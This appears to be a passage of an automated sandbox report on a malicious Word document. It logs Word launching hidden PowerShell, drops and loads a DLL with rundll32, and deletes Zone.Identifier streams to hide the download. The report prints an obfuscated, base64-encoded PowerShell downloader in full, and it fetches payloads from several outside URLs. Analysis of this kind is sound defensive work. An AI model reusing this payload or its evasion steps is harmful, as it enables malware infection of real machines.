Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100037FB push ecx; ret 7_2_1000380E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004134 push ecx; ret 7_2_10004146
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100037FB push ecx; ret 8_2_1000380E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10004134 push ecx; ret 8_2_10004146

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\rundll32.exe PE file moved: C:\Windows\SysWOW64\Slimgulabo\vhtbjtkrz.lpr Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Slimgulabo\vhtbjtkrz.lpr:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Bvjuzxolryfk\tucwdqbdtfe.wnx:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Bsmdm\ghwk.vcj:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Anheubolw\yblyupae.she:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Bwaqczxvcucs\mfqhcresmvq.yyb:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Vvkklg\owmtf.xpy:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Eqlmzzdzvxl\jxrtnvzlrw.xix:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Qjhyis\vvyps.icm:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
